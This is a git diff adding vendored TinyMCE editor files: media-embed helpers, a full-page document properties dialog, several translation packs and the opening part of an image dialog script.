'D27CDB6E-AE6D-11cf-96B8-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'application/x-shockwave-flash', + p + ); +} + +function writeShockWave(p) { + writeEmbed( + '166B1BCA-3F9C-11CF-8075-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', + 'application/x-director', + p + ); +} + +function writeQuickTime(p) { + writeEmbed( + '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', + 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', + 'video/quicktime', + p + ); +} + +function writeRealMedia(p) { + writeEmbed( + 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'audio/x-pn-realaudio-plugin', + p + ); +} + +function writeWindowsMedia(p) { + p.url = p.src; + writeEmbed( + '6BF52A52-394A-11D3-B153-00C04F79FAA6', + 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', + 'application/x-mplayer2', + p + ); +} + +function writeEmbed(cls, cb, mt, p) { + var h = '', n; + + h += ''; + + h += ',' + + 'XHTML 1.0 Frameset=,' + + 'XHTML 1.0 Strict=,' + + 'XHTML 1.1=,' + + 'HTML 4.01 Transitional=,' + + 'HTML 4.01 Strict=,' + + 'HTML 4.01 Frameset='; + + var defaultEncodings = + 'Western european (iso-8859-1)=iso-8859-1,' + + 'Central European (iso-8859-2)=iso-8859-2,' + + 'Unicode (UTF-8)=utf-8,' + + 'Chinese traditional (Big5)=big5,' + + 'Cyrillic (iso-8859-5)=iso-8859-5,' + + 'Japanese (iso-2022-jp)=iso-2022-jp,' + + 'Greek (iso-8859-7)=iso-8859-7,' + + 'Korean (iso-2022-kr)=iso-2022-kr,' + + 'ASCII (us-ascii)=us-ascii'; + + var defaultFontNames = 'Arial=arial,helvetica,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,times new roman,times,serif;Tahoma=tahoma,arial,helvetica,sans-serif;Times New Roman=times new roman,times,serif;Verdana=verdana,arial,helvetica,sans-serif;Impact=impact;WingDings=wingdings'; + var defaultFontSizes = '10px,11px,12px,13px,14px,15px,16px'; + + function setVal(id, value) { + var elm = document.getElementById(id); + + if (elm) { + value = value || ''; + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") + elm.checked = !!value; + else + elm.value = value; + } + }; + + function getVal(id) { + var elm = document.getElementById(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + }; + + window.FullPageDialog = { + changedStyle : function() { + var val, styles = tinyMCEPopup.editor.dom.parseStyle(getVal('style')); + + setVal('fontface', styles['font-face']); + setVal('fontsize', styles['font-size']); + setVal('textcolor', styles['color']); + + if (val = styles['background-image']) + setVal('bgimage', val.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1")); + else + setVal('bgimage', ''); + + setVal('bgcolor', styles['background-color']); + + // Reset margin form elements + setVal('topmargin', ''); + setVal('rightmargin', ''); + setVal('bottommargin', ''); + setVal('leftmargin', ''); + + // Expand margin + if (val = styles['margin']) { + val = val.split(' '); + styles['margin-top'] = val[0] || ''; + styles['margin-right'] = val[1] || val[0] || ''; + styles['margin-bottom'] = val[2] || val[0] || ''; + styles['margin-left'] = val[3] || val[0] || ''; + } + + if (val = styles['margin-top']) + setVal('topmargin', val.replace(/px/, '')); + + if (val = styles['margin-right']) + setVal('rightmargin', val.replace(/px/, '')); + + if (val = styles['margin-bottom']) + setVal('bottommargin', val.replace(/px/, '')); + + if (val = styles['margin-left']) + setVal('leftmargin', val.replace(/px/, '')); + + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('textcolor_pick', 'textcolor'); + }, + + changedStyleProp : function() { + var val, dom = tinyMCEPopup.editor.dom, styles = dom.parseStyle(getVal('style')); + + styles['font-face'] = getVal('fontface'); + styles['font-size'] = getVal('fontsize'); + styles['color'] = getVal('textcolor'); + styles['background-color'] = getVal('bgcolor'); + + if (val = getVal('bgimage')) + styles['background-image'] = "url('" + val + "')"; + else + styles['background-image'] = ''; + + delete styles['margin']; + + if (val = getVal('topmargin')) + styles['margin-top'] = val + "px"; + else + styles['margin-top'] = ''; + + if (val = getVal('rightmargin')) + styles['margin-right'] = val + "px"; + else + styles['margin-right'] = ''; + + if (val = getVal('bottommargin')) + styles['margin-bottom'] = val + "px"; + else + styles['margin-bottom'] = ''; + + if (val = getVal('leftmargin')) + styles['margin-left'] = val + "px"; + else + styles['margin-left'] = ''; + + // Serialize, parse and reserialize this will compress redundant styles + setVal('style', dom.serializeStyle(dom.parseStyle(dom.serializeStyle(styles)))); + this.changedStyle(); + }, + + update : function() { + var data = {}; + + tinymce.each(tinyMCEPopup.dom.select('select,input,textarea'), function(node) { + data[node.id] = getVal(node.id); + }); + + tinyMCEPopup.editor.plugins.fullpage._dataToHtml(data); + tinyMCEPopup.close(); + } + }; + + function init() { + var form = document.forms[0], i, item, list, editor = tinyMCEPopup.editor; + + // Setup doctype select box + list = editor.getParam("fullpage_doctypes", defaultDocTypes).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'doctype', item[0], item[1]); + } + + // Setup fonts select box + list = editor.getParam("fullpage_fonts", defaultFontNames).split(';'); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'fontface', item[0], item[1]); + } + + // Setup fontsize select box + list = editor.getParam("fullpage_fontsizes", defaultFontSizes).split(','); + for (i = 0; i < list.length; i++) + addSelectValue(form, 'fontsize', list[i], list[i]); + + // Setup encodings select box + list = editor.getParam("fullpage_encodings", defaultEncodings).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'docencoding', item[0], item[1]); + } + + // Setup color pickers + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + document.getElementById('link_color_pickcontainer').innerHTML = getColorPickerHTML('link_color_pick','link_color'); + document.getElementById('visited_color_pickcontainer').innerHTML = getColorPickerHTML('visited_color_pick','visited_color'); + document.getElementById('active_color_pickcontainer').innerHTML = getColorPickerHTML('active_color_pick','active_color'); + document.getElementById('textcolor_pickcontainer').innerHTML = getColorPickerHTML('textcolor_pick','textcolor'); + document.getElementById('stylesheet_browsercontainer').innerHTML = getBrowserHTML('stylesheetbrowser','stylesheet','file','fullpage'); + document.getElementById('bgimage_pickcontainer').innerHTML = getBrowserHTML('bgimage_browser','bgimage','image','fullpage'); + + // Resize some elements + if (isVisible('stylesheetbrowser')) + document.getElementById('stylesheet').style.width = '220px'; + + if (isVisible('link_href_browser')) + document.getElementById('element_link_href').style.width = '230px'; + + if (isVisible('bgimage_browser')) + document.getElementById('bgimage').style.width = '210px'; + + // Update form + tinymce.each(tinyMCEPopup.getWindowArg('data'), function(value, key) { + setVal(key, value); + }); + + FullPageDialog.changedStyle(); + + // Update colors + updateColor('textcolor_pick', 'textcolor'); + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('visited_color_pick', 'visited_color'); + updateColor('active_color_pick', 'active_color'); + updateColor('link_color_pick', 'link_color'); + }; + + tinyMCEPopup.onInit.add(init); +})(); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/gl.js b/js/tiny_mce2/themes/advanced/skins/o2k7/gl.js new file mode 100755 index 0000000..cf00430 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/gl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advanced',{"underline_desc":"Subli\u00f1ado (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negrita (Ctrl+B)",dd:"Descripci\u00f3n de definici\u00f3n",dt:"Termo de definici\u00f3n",samp:"Mostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Bloque de cita",h6:"Encabezamento 6",h5:"Encabezamento 5",h4:"Encabezamento 4",h3:"Encabezamento 3",h2:"Encabezamento 2",h1:"Encabezamento 1",pre:"Pre-formateado",address:"Enderezo",div:"Div",paragraph:"P\u00e1rrafo",block:"Formato",fontdefault:"Fonte","font_size":"Tama\u00f1o","style_select":"Estilos","more_colors":"M\u00e1is cores","toolbar_focus":"Ir \u00f3s bot\u00f3ns de ferramentas - Alt+Q, Ir \u00f3 editor - Alt-Z, Ir \u00e1 ruta do elemento - Alt-X",newdocument:"\u00bfSeguro que desexa limpar todo o contido?",path:"Ruta","clipboard_msg":"Copiar/Cortar/Pegar non est\u00e1 disponible en Mozilla e Firefox.\n\u00bfDesexa obter mais informaci\u00f3n sobre de este asunto?","blockquote_desc":"Cita","help_desc":"Axuda","newdocument_desc":"Novo documento","image_props_desc":"Propiedades de imaxe","paste_desc":"Pegar","copy_desc":"Copiar","cut_desc":"Cortar","anchor_desc":"Insertar/editar \u00e1ncora","visualaid_desc":"Mostrar/ocultar li\u00f1a de gu\u00eda/elementos invisibres","charmap_desc":"Insertar caracteres persoalizados","backcolor_desc":"Seleccionar cor do fondo","forecolor_desc":"Seleccionar cor do texto","custom1_desc":"A s\u00faa descripci\u00f3n persoal aqu\u00ed","removeformat_desc":"quitar formato","hr_desc":"Insertar regra horizontal","sup_desc":"Super\u00edndice","sub_desc":"Sub\u00edndice","code_desc":"Editar c\u00f3digo HTML","cleanup_desc":"Limpiar lixo no c\u00f3digo","image_desc":"Insertar/editar imaxe","unlink_desc":"Quitar hiperv\u00ednculo","link_desc":"Insertar/editar hiperv\u00ednculo","redo_desc":"Re-facer (Ctrl+Y)","undo_desc":"Desfacer (Ctrl+Z)","indent_desc":"Aumentar sangr\u00eda","outdent_desc":"Reducir sangr\u00eda","numlist_desc":"Lista ordenada","bullist_desc":"Lista desordenada","justifyfull_desc":"Xustificar","justifyright_desc":"Ali\u00f1ar \u00e1 dereita","justifycenter_desc":"Ali\u00f1ar \u00f3 centro","justifyleft_desc":"Ali\u00f1ar \u00e1 esquerda","striketrough_desc":"Tachado","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/gl_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/gl_dlg.js new file mode 100755 index 0000000..71adc8e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advhr_dlg',{size:"Alto",noshade:"Sen sombra",width:"Ancho",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/he.js b/js/tiny_mce2/themes/advanced/skins/o2k7/he.js new file mode 100755 index 0000000..2c50a4b --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/he.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advanced',{"underline_desc":"\u05e7\u05d5 \u05ea\u05d7\u05ea\u05d5\u05df (Ctrl+U)","italic_desc":"\u05e0\u05d8\u05d5\u05d9 (Ctrl+I)","bold_desc":"\u05de\u05d5\u05d3\u05d2\u05e9 (Ctrl+B)",dd:"\u05d4\u05d2\u05d3\u05e8\u05ea \u05d4\u05de\u05d5\u05e9\u05d2",dt:"\u05de\u05d5\u05e9\u05d2",samp:"\u05d3\u05d5\u05d2\u05de\u05ea \u05e7\u05d5\u05d3",code:"\u05e7\u05d5\u05d3",blockquote:"\u05e6\u05d9\u05d8\u05d5\u05d8 \u05e7\u05d8\u05e2",h6:"\u05db\u05d5\u05ea\u05e8\u05ea 6",h5:"\u05db\u05d5\u05ea\u05e8\u05ea 5",h4:"\u05db\u05d5\u05ea\u05e8\u05ea 4",h3:"\u05db\u05d5\u05ea\u05e8\u05ea 3",h2:"\u05db\u05d5\u05ea\u05e8\u05ea 2",h1:"\u05db\u05d5\u05ea\u05e8\u05ea 1",pre:"Preformatted",address:"\u05db\u05ea\u05d5\u05d1\u05ea",div:"Div",paragraph:"\u05e4\u05e1\u05e7\u05d4",block:"\u05e2\u05d9\u05e6\u05d5\u05d1",fontdefault:"\u05d2\u05d5\u05e4\u05df","font_size":"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df","style_select":"\u05e1\u05d2\u05e0\u05d5\u05e0\u05d5\u05ea","more_colors":"\u05e2\u05d5\u05d3 \u05e6\u05d1\u05e2\u05d9\u05dd","toolbar_focus":"\u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd - Alt+Q, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05de\u05e2\u05d1\u05d3 \u05ea\u05de\u05dc\u05d9\u05dc\u05d9\u05dd - Alt-Z, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e0\u05ea\u05d9\u05d1 \u05d4\u05d0\u05dc\u05de\u05d8\u05d9\u05dd - Alt-X",newdocument:"\u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05de\u05d7\u05d5\u05e7 \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d5\u05db\u05df?",path:"path","clipboard_msg":"\u05d4\u05e2\u05ea\u05e7/\u05d2\u05d6\u05d5\u05e8/\u05d4\u05d3\u05d1\u05e7 \u05dc\u05d0 \u05d6\u05de\u05d9\u05e0\u05d9\u05dd \u05d1 Mozilla \u05d5\u05d1-Firefox.\n \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05e7\u05d1\u05dc \u05de\u05d9\u05d3\u05e2 \u05e0\u05d5\u05e1\u05e3 \u05e2\u05dc \u05d4\u05e0\u05d5\u05e9\u05d0?","blockquote_desc":"\u05e6\u05d9\u05d8\u05d5\u05d8","help_desc":"\u05e2\u05d6\u05e8\u05d4","newdocument_desc":"\u05de\u05e1\u05de\u05da \u05d7\u05d3\u05e9","image_props_desc":"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","paste_desc":"\u05d4\u05d3\u05d1\u05e7\u05d4","copy_desc":"\u05d4\u05e2\u05ea\u05e7\u05d4","cut_desc":"\u05d2\u05d6\u05d9\u05e8\u05d4","anchor_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05d9\u05de\u05e0\u05d9\u05d4","visualaid_desc":"\u05d4\u05e6\u05d2\u05d4 \u05d0\u05d5 \u05d4\u05e1\u05ea\u05e8\u05d4 \u05e9\u05dc \u05e1\u05d9\u05de\u05d5\u05e0\u05d9 \u05e2\u05d9\u05e6\u05d5\u05d1","charmap_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e1\u05d9\u05de\u05df","backcolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2","forecolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05d2\u05d5\u05e4\u05df","custom1_desc":"\u05d4\u05ea\u05d0\u05d5\u05e8 \u05e9\u05dc\u05da \u05db\u05d0\u05d5","removeformat_desc":"\u05d4\u05e1\u05e8\u05ea \u05e2\u05d9\u05e6\u05d5\u05d1","hr_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e7\u05d5 \u05de\u05e4\u05e8\u05d9\u05d3","sup_desc":"\u05db\u05ea\u05d1 \u05ea\u05d7\u05ea\u05d9","sub_desc":"\u05db\u05ea\u05d1 \u05e2\u05d9\u05dc\u05d9","code_desc":"\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d5\u05d3 HTML","cleanup_desc":"\u05e0\u05d9\u05e7\u05d5\u05d9 \u05e7\u05d5\u05d3","image_desc":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05d3\u05e3 \u05ea\u05de\u05d5\u05e0\u05d4","unlink_desc":"\u05d4\u05e1\u05e8\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","link_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","redo_desc":"\u05d7\u05d6\u05e8\u05d4 \u05e2\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Y)","undo_desc":"\u05d1\u05d9\u05d8\u05d5\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Z)","indent_desc":"\u05d4\u05e7\u05d8\u05e0\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","outdent_desc":"\u05d4\u05d2\u05d3\u05dc\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","numlist_desc":"\u05de\u05e1\u05e4\u05d5\u05e8","bullist_desc":"\u05ea\u05d1\u05dc\u05d9\u05d8\u05d9\u05dd","justifyfull_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05dc\u05e9\u05e0\u05d9 \u05d4\u05e6\u05d3\u05d3\u05d9\u05dd","justifyright_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05d9\u05de\u05d9\u05df","justifycenter_desc":"\u05de\u05d9\u05e8\u05db\u05d5\u05d6 \u05d8\u05e7\u05e1\u05d8","justifyleft_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05e9\u05de\u05d0\u05dc","striketrough_desc":"\u05e7\u05d5 \u05d7\u05d5\u05e6\u05d4","help_shortcut":"\u05dc\u05d7\u05e6/\u05d9 ALT-F10 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd. \u05dc\u05d7\u05e6/\u05d9 ALT-0 \u05dc\u05e2\u05d6\u05e8\u05d4","rich_text_area":"\u05d0\u05d6\u05d5\u05e8 \u05e2\u05e8\u05d9\u05db\u05ea \u05d8\u05e7\u05e1\u05d8 \u05e2\u05e9\u05d9\u05e8","shortcuts_desc":"\u05e2\u05d6\u05e8\u05ea \u05d2\u05d9\u05e9\u05d4",toolbar:"\u05e1\u05e8\u05d2\u05dc \u05db\u05dc\u05d9\u05dd","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/he_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/he_dlg.js new file mode 100755 index 0000000..fd491ea --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advhr_dlg',{size:"\u05d2\u05d5\u05d1\u05d4",noshade:"\u05dc\u05dc\u05d0 \u05e6\u05dc",width:"\u05e8\u05d5\u05d7\u05d1",normal:"\u05e8\u05d2\u05d9\u05dc",widthunits:"\u05d9\u05d7\u05d9\u05d3\u05d5\u05ea"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/hu.js b/js/tiny_mce2/themes/advanced/skins/o2k7/hu.js new file mode 100755 index 0000000..b5a0cbd --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/hu.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advanced',{"underline_desc":"Al\u00e1h\u00fazott (Ctrl+U)","italic_desc":"D\u0151lt (Ctrl+I)","bold_desc":"F\u00e9lk\u00f6v\u00e9r (Ctrl+B)",dd:"Defin\u00edci\u00f3 a defin\u00edci\u00f3s list\u00e1ban",dt:"Defini\u00e1lt kifejez\u00e9s a defin\u00edci\u00f3s list\u00e1ban",samp:"K\u00f3d minta",code:"K\u00f3d",blockquote:"Id\u00e9zet",h6:"C\u00edmsor 6",h5:"C\u00edmsor 5",h4:"C\u00edmsor 4",h3:"C\u00edmsor 3",h2:"C\u00edmsor 2",h1:"C\u00edmsor 1",pre:"El\u0151form\u00e1zott",address:"C\u00edm",div:"Div",paragraph:"Bekezd\u00e9s",block:"Form\u00e1tum",fontdefault:"Bet\u0171t\u00edpus","font_size":"Bet\u0171m\u00e9ret","style_select":"St\u00edlusok","image_delta_height":"","image_delta_width":"","more_colors":"Tov\u00e1bbi sz\u00ednek","toolbar_focus":"Eszk\u00f6zgombokra ugr\u00e1s - Alt+Q, Szerkeszt\u0151h\u00f6z ugr\u00e1s - Alt-Z, Elem\u00fatvonalhoz ugr\u00e1s - Alt-X",newdocument:"Biztosan t\u00f6rli az eddigi tartalmat?",path:"\u00datvonal","clipboard_msg":"A M\u00e1sol\u00e1s/Kiv\u00e1g\u00e1s/Besz\u00far\u00e1s funkci\u00f3k nem \u00e9rhet\u0151ek el Mozilla \u00e9s Firefox alatt. Szeretne t\u00f6bbet megtudni err\u0151l?","blockquote_desc":"Id\u00e9zet","help_desc":"Seg\u00edts\u00e9g","newdocument_desc":"\u00daj dokumentum","image_props_desc":"K\u00e9p tulajdons\u00e1gai","paste_desc":"Besz\u00far\u00e1s","copy_desc":"M\u00e1sol\u00e1s","cut_desc":"Kiv\u00e1g\u00e1s","anchor_desc":"Horgony besz\u00far\u00e1sa/szerkeszt\u00e9se","visualaid_desc":"Vezet\u0151vonalak/nem l\u00e1that\u00f3 elemek ki-/bekapcsol\u00e1sa","charmap_desc":"Speci\u00e1lis karakter besz\u00far\u00e1sa","backcolor_desc":"H\u00e1tt\u00e9rsz\u00edn v\u00e1laszt\u00e1sa","forecolor_desc":"Sz\u00f6vegsz\u00edn v\u00e1laszt\u00e1sa","custom1_desc":"Az \u00f6n egyedi le\u00edr\u00e1sa","removeformat_desc":"Form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","hr_desc":"V\u00edzszintes elv\u00e1laszt\u00f3 vonal besz\u00far\u00e1sa","sup_desc":"Fels\u0151 index","sub_desc":"Als\u00f3 index","code_desc":"HTML forr\u00e1s szerkeszt\u00e9se","cleanup_desc":"Minden form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","image_desc":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","unlink_desc":"Link elt\u00e1vol\u00edt\u00e1sa","link_desc":"Link besz\u00far\u00e1sa/szerkeszt\u00e9se","redo_desc":"M\u00e9gis v\u00e9grehajt (Ctrl+Y)","undo_desc":"Visszavon\u00e1s (Ctrl+Z)","indent_desc":"Beh\u00faz\u00e1s n\u00f6vel\u00e9se","outdent_desc":"Beh\u00faz\u00e1s cs\u00f6kkent\u00e9se","numlist_desc":"Rendezett lista","bullist_desc":"Rendezetlen lista","justifyfull_desc":"Sorkiz\u00e1rt","justifyright_desc":"Jobbra z\u00e1rt","justifycenter_desc":"K\u00f6z\u00e9pre z\u00e1rt","justifyleft_desc":"Balra z\u00e1rt","striketrough_desc":"\u00c1th\u00fazott","help_shortcut":"Ugr\u00e1s az eszk\u00f6zt\u00e1rhoz: ALT-F10. Seg\u00edts\u00e9g: ALT-0.","rich_text_area":"Rich Text ter\u00fclet","shortcuts_desc":"El\u00e9rhet\u0151s\u00e9g s\u00fag\u00f3",toolbar:"Eszk\u00f6zt\u00e1r","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/hu_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/hu_dlg.js new file mode 100755 index 0000000..f9ed728 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advhr_dlg',{size:"Magass\u00e1g",noshade:"\u00c1rny\u00e9k n\u00e9lk\u00fcl",width:"Sz\u00e9less\u00e9g",normal:"Norm\u00e1l",widthunits:"M\u00e9rt\u00e9kegys\u00e9gek"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/icons.gif b/js/tiny_mce2/themes/advanced/skins/o2k7/icons.gif new file mode 100755 index 0000000..641a9e3 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/icons.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/id.js b/js/tiny_mce2/themes/advanced/skins/o2k7/id.js new file mode 100755 index 0000000..cfd77b8 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/id.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advanced',{"underline_desc":"Underline (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"Bold (Ctrl+B)",dd:"Definition description",dt:"Definition term ",samp:"Code sample",code:"Code",blockquote:"Blockquote",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Preformatted",address:"Address",div:"Div",paragraph:"Paragraph",block:"Format",fontdefault:"Font family","font_size":"Font size","style_select":"Styles","more_colors":"More colors","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"Yakin untuk menghapus semua konten?",path:"Path","clipboard_msg":"Copy/Cut/Paste tidak tersedia pada Mozilla dan Firefox.\nButuh info selengkapnya?","blockquote_desc":"Blockquote","help_desc":"Help","newdocument_desc":"New document","image_props_desc":"Image properties","paste_desc":"Paste","copy_desc":"Copy","cut_desc":"Cut","anchor_desc":"Insert/edit anchor","visualaid_desc":"Toggle guidelines/invisible elements","charmap_desc":"Insert custom character","backcolor_desc":"Pilih background color","forecolor_desc":"Pilih text color","custom1_desc":"Deskripsi disini","removeformat_desc":"Remove formatting","hr_desc":"Insert horizontal ruler","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Edit HTML Source","cleanup_desc":"Cleanup messy code","image_desc":"Insert/edit image","unlink_desc":"Unlink","link_desc":"Insert/edit link","redo_desc":"Redo (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indent","outdent_desc":"Outdent","numlist_desc":"Ordered list","bullist_desc":"Unordered list","justifyfull_desc":"Align full","justifyright_desc":"Align right","justifycenter_desc":"Align center","justifyleft_desc":"Align left","striketrough_desc":"Strikethrough","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/id_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/id_dlg.js new file mode 100755 index 0000000..88f4f06 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advhr_dlg',{size:"Tinggi",noshade:"Tanpa bayangan",width:"Lebar",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/iframe.gif b/js/tiny_mce2/themes/advanced/skins/o2k7/iframe.gif new file mode 100755 index 0000000..410c7ad Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/iframe.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/image.js b/js/tiny_mce2/themes/advanced/skins/o2k7/image.js new file mode 100755 index 0000000..7e3cf00 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/image.js @@ -0,0 +1,462 @@ +var ImageDialog = { + preInit : function() { + var url; + + tinyMCEPopup.requireLangPack(); + + if (url = tinyMCEPopup.getParam("external_image_list_url")) + document.write(''); + }, + + init : function(ed) { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, dom = ed.dom, n = ed.selection.getNode(), fl = tinyMCEPopup.getParam('external_image_list', 'tinyMCEImageList'); + + tinyMCEPopup.resizeToInnerSize(); + this.fillClassList('class_list'); + this.fillFileList('src_list', fl); + this.fillFileList('over_list', fl); + this.fillFileList('out_list', fl); + TinyMCE_EditableSelects.init(); + + if (n.nodeName == 'IMG') { + nl.src.value = dom.getAttrib(n, 'src'); + nl.width.value = dom.getAttrib(n, 'width'); + nl.height.value = dom.getAttrib(n, 'height'); + nl.alt.value = dom.getAttrib(n, 'alt'); + nl.title.value = dom.getAttrib(n, 'title'); + nl.vspace.value = this.getAttrib(n, 'vspace'); + nl.hspace.value = this.getAttrib(n, 'hspace'); + nl.border.value = this.getAttrib(n, 'border'); + selectByValue(f, 'align', this.getAttrib(n, 'align')); + selectByValue(f, 'class_list', dom.getAttrib(n, 'class'), true, true); + nl.style.value = dom.getAttrib(n, 'style'); + nl.id.value = dom.getAttrib(n, 'id'); + nl.dir.value = dom.getAttrib(n, 'dir'); + nl.lang.value = dom.getAttrib(n, 'lang'); + nl.usemap.value = dom.getAttrib(n, 'usemap'); + nl.longdesc.value = dom.getAttrib(n, 'longdesc'); + nl.insert.value = 